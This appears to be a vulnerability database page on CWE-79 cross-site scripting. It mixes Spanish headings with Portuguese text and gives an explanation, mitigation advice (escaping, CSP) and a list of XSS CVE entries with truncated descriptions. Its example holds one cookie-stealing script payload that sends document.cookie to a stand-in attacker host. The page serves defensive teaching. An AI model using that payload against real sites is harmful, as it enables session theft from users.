Fallos del tipo CWE-79

29.349 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-23022MEDIUMCross site scripting (XSS) vulnerability in sourcecodester oretnom23 employee's payroll management system 1.0, allows attackers to execute aEPSS 0.5%CVE-2023-27151MEDIUMopenCRX 5.2.0 was discovered to contain an HTML injection vulnerability for Search Criteria-Activity Number (in the Saved Search Activity) vEPSS 0.5%CVE-2024-9184HIGHSendPulse Free Web Push <= 1.3.6 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.5%CVE-2026-1959MEDIUMStored Cross-Site Scripting (XSS) vulnerability in Loggro PymesEPSS 0.5%CVE-2025-5343MEDIUMStored XSSEPSS 0.5%CVE-2022-39372LOWStored Cross-Site Scripting (XSS) in user information in GLPIEPSS 0.5%CVE-2024-2275LOWBdtask G-Prescription Gynaecology & OBS Consultation Software OBS Patient/Gynee Prescription cross site scriptingEPSS 0.5%CVE-2024-10623MEDIUMForumEngine <= 1.8 - Reflected Cross-Site ScriptingEPSS 0.5%CVE-2023-23021MEDIUMCross Site Scripting (XSS) vulnerability in sourcecodester oretnom23 pos point sale system 1.0, allows attackers to execute arbitrary code vEPSS 0.5%CVE-2025-5347MEDIUMStored XSSEPSS 0.5%CVE-2025-27434HIGHCross-Site Scripting (XSS) vulnerability in SAP Commerce (Swagger UI)EPSS 0.5%CVE-2024-29220MEDIUMNinja Forms prior to 3.8.1 contains a cross-site scripting vulnerability in custom fields for labels. If this vulnerability is exploited, anEPSS 0.5%CVE-2024-8739MEDIUMReCaptcha Integration for WordPress <= 1.2.5 - Reflected Cross-Site ScriptingEPSS 0.5%CVE-2024-1257LOWJspxcms find_text.do cross site scriptingEPSS 0.5%CVE-2023-3193MEDIUMCross-site scripting (XSS) vulnerability in the Layout module's SEO configuration in Liferay Portal 7.4.3.70 through 7.4.3.73, and Liferay DEPSS 0.5%CVE-2026-1960MEDIUMStored Cross-Site Scripting (XSS) vulnerability in Loggro PymesEPSS 0.5%CVE-2023-45769HIGHWordPress WP Report Post Plugin <= 2.1.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.5%CVE-2022-36311—Airspan AirVelocity 1500 prior to software version 15.18.00.2511 is vulnerable to injection leading to XSS in the SNMP community field in thEPSS 0.5%CVE-2025-3822MEDIUMSourceCodester Web-based Pharmacy Product Management System changepassword.php cross site scriptingEPSS 0.5%CVE-2024-7310MEDIUMSourceCodester Record Management System sort_user.php cross site scriptingEPSS 0.5%